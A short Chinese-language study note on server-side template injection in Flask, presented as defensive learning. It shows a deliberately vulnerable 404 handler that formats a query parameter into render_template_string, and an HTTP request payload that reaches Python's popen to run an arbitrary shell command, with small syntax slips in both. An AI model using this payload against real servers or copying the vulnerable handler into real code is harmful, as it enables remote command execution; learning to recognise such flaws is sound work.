【笔记】SSTI模板注入漏洞

前言

SSTI模板注入漏洞学习笔记

本文仅用于网络信息防御学习

可能出现漏洞的环境

  • 在后端语言渲染前端模板时传递了变量,并能通过参数改变变量的值

  • 在Python中使用Flask框架举例

1
2
3
4
5
6
7
8
9
10
@app.errorhandler(404)
def page_not_found(e):
template = """
{%% block body %%}
<div>
<h1>%s</h1>
</div>
{%% end body %%}
""" % (request.args.get('key'))
return render_template_string(template), 404

payload

<shell>:Shell命令

request
1
2
GET /404?key={{"".__class__.__bases__[0].__subclasses__{}[128].__init__.__globals__["popen"]("<shell>").read()}} HTTP/1.1
Host: example.com

完成

参考文献

哔哩哔哩——逆风微笑的代码狗